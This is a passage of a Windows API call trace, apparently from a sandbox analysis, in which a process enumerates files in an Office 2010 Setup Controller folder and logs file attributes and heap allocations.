lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.861] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9fff00, ftCreationTime.dwHighDateTime=0x1cba028, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e9fff00, ftLastWriteTime.dwHighDateTime=0x1cba028, nFileSizeHigh=0x0, nFileSizeLow=0x3b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.DLL", cAlternateFileName="")) returned 1 [0050.861] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.861] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.861] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.861] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.861] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.862] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.862] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x470e1800, ftCreationTime.dwHighDateTime=0x1caccea, ftLastAccessTime.dwLowDateTime=0x15334ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x470e1800, ftLastWriteTime.dwHighDateTime=0x1caccea, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.XML", cAlternateFileName="")) returned 1 [0050.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.862] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.862] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7238 [0050.862] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0050.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5a58 [0050.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7c88 [0050.862] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.862] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4114ea00, ftCreationTime.dwHighDateTime=0x1ca6af2, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4114ea00, ftLastWriteTime.dwHighDateTime=0x1ca6af2, nFileSizeHigh=0x0, nFileSizeLow=0x11644, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCT.CHM", cAlternateFileName="")) returned 1 [0050.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.862] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.862] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5a78 [0050.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7d90 [0050.862] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.862] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7c27050, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.XML", cAlternateFileName="")) returned 1 [0050.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.862] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.862] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5a98 [0050.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7e98 [0050.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x500) returned 0x9e8770 [0050.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e82a8) returned 1 [0050.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.863] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.XML", cAlternateFileName="")) returned 1 [0050.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5ab8 [0050.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7fa0 [0050.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.863] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUPUI.DLL", cAlternateFileName="")) returned 1 [0050.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.863] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4804a00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd4804a00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="promointl.dll", cAlternateFileName="")) returned 1 [0050.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.863] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d0b6300, ftCreationTime.dwHighDateTime=0x1ca9107, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2d0b6300, ftLastWriteTime.dwHighDateTime=0x1ca9107, nFileSizeHigh=0x0, nFileSizeLow=0x9339, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSCONFIG.CHM", cAlternateFileName="")) returned 1 [0050.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5ad8 [0050.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e80a8 [0050.864] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.864] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a8bce00, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7a8bce00, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6931, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10O.CHM", cAlternateFileName="")) returned 1 [0050.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.864] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.864] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5af8 [0050.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ddc90 [0050.864] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.864] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7d4800, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa7d4800, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10R.CHM", cAlternateFileName="")) returned 1 [0050.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.864] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.864] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5b18 [0050.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e8c90 [0050.864] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.864] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49087c00, ftCreationTime.dwHighDateTime=0x1ca95c1, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49087c00, ftLastWriteTime.dwHighDateTime=0x1ca95c1, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.CHM", cAlternateFileName="")) returned 1 [0050.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.864] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.864] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5b38 [0050.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e8d98 [0050.865] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.865] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0050.865] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.865] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.865] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.865] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.865] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.865] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5b58 [0050.865] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e8ea0 [0050.865] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.865] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0050.865] GetLastError () returned 0x12 [0050.865] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0050.865] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0050.865] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.865] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9fff00, ftCreationTime.dwHighDateTime=0x1cba028, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e9fff00, ftLastWriteTime.dwHighDateTime=0x1cba028, nFileSizeHigh=0x0, nFileSizeLow=0x3b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.DLL", cAlternateFileName="")) returned 1 [0050.865] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x470e1800, ftCreationTime.dwHighDateTime=0x1caccea, ftLastAccessTime.dwLowDateTime=0x15334ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x470e1800, ftLastWriteTime.dwHighDateTime=0x1caccea, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.XML", cAlternateFileName="")) returned 1 [0050.865] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4114ea00, ftCreationTime.dwHighDateTime=0x1ca6af2, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4114ea00, ftLastWriteTime.dwHighDateTime=0x1ca6af2, nFileSizeHigh=0x0, nFileSizeLow=0x11644, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCT.CHM", cAlternateFileName="")) returned 1 [0050.865] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7c27050, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.XML", cAlternateFileName="")) returned 1 [0050.865] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.XML", cAlternateFileName="")) returned 1 [0050.865] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUPUI.DLL", cAlternateFileName="")) returned 1 [0050.865] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4804a00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd4804a00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="promointl.dll", cAlternateFileName="")) returned 1 [0050.865] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d0b6300, ftCreationTime.dwHighDateTime=0x1ca9107, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2d0b6300, ftLastWriteTime.dwHighDateTime=0x1ca9107, nFileSizeHigh=0x0, nFileSizeLow=0x9339, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSCONFIG.CHM", cAlternateFileName="")) returned 1 [0050.865] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a8bce00, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7a8bce00, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6931, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10O.CHM", cAlternateFileName="")) returned 1 [0050.865] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7d4800, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa7d4800, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10R.CHM", cAlternateFileName="")) returned 1 [0050.865] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49087c00, ftCreationTime.dwHighDateTime=0x1ca95c1, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49087c00, ftLastWriteTime.dwHighDateTime=0x1ca95c1, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.CHM", cAlternateFileName="")) returned 1 [0050.866] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0050.866] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0050.866] GetLastError () returned 0x12 [0050.866] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7130) returned 1 [0050.866] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0050.866] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7238) returned 1 [0050.866] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7028) returned 1 [0050.866] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.en-us", cAlternateFileName="")) returned 1 [0050.866] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7028 [0050.866] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, 